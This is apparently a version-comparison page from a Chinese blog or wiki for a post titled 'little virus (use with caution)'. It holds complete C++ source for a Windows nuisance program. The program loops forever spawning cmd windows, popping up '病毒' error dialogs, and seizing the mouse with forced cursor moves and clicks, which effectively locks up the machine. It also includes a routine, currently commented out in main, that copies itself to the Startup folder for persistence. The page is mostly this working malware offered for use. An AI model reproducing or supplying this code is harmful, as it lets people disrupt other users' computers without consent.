版本比较
小病毒(慎用)
标题
增加 1 行删除 1 行
11小病毒小病毒(慎用)正文
增加 34 行删除 12 行
123456789101112121313141516171819202122232425232425262627282930282930313233343536343738394041424344454647484950515237535455565758596039616263646566```#include<bits/stdc++.h>#include <Windows.h>#include <TlHelp32.h>#include <shlobj.h>POINT GetMousePosition() { POINT cursorPos; GetCursorPos(&cursorPos); return cursorPos;}void MouseClick(int x, int y) { SetCursorPos(x, y); mouse_event(MOUSEEVENTF_LEFTDOWN, x, y, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, x, y, 0, 0); mouse_event(MOUSEEVENTF_LEFTDOWN, x, y, x,y); mouse_event(MOUSEEVENTF_LEFTUP, x, y, x, y);}void FixMousePosition() { srand(static_cast<unsigned>(time(nullptr))); const int screenWidth = GetSystemMetrics(SM_CXSCREEN) - 400; const int screenHeight = GetSystemMetrics(SM_CYSCREEN) - 300; while(true) { const int posX = rand() % screenWidth; const int posY = rand() % screenHeight; const int posX2 = rand()*rand() % screenWidth; const int posY2 = rand()*rand() % screenHeight; char cmdCommand[256]; snprintf(cmdCommand, sizeof(cmdCommand), "start cmd /k \"mode con: cols=80 lines=25 && title 随机位置CMD && color 9F\" " "--window --pos %d,%d", posX, posY); snprintf(cmdCommand, sizeof(cmdCommand),"start cmd /k \"mode con: cols=80 lines=25 && title 随机位置CMD && color 9F\" ""--window --pos %d,%d",posX, posY); system(cmdCommand); MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONERROR); MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONWARNING); MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONINFORMATION); SetCursorPos(0,0); MouseClick(0,0); Sleep(100); SetCursorPos(posX2,posY2); MouseClick(posX2,posY2); Sleep(1); }}void MouseControl() { FixMousePosition(); FixMousePosition();}bool AddToStartupFolder(const char* programPath, const char* programName) { char startupPath[MAX_PATH]; if (!SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, TRUE)) { return false; }
char destPath[MAX_PATH]; sprintf(destPath, "%s\\%s", startupPath, programName);
return CopyFileA(programPath, destPath, FALSE);}signed main(){ char programPath[MAX_PATH]; GetModuleFileNameA(NULL, programPath, MAX_PATH);
// 选择其中一种方式即可// if (AddToStartupFolder(programPath, "病毒czx6666.exe")) {// std::cout << "成功添加到启动文件夹" << std::endl;// } else {// std::cout << "添加到启动文件夹失败" << std::endl;// } MouseControl();
return 0;}
```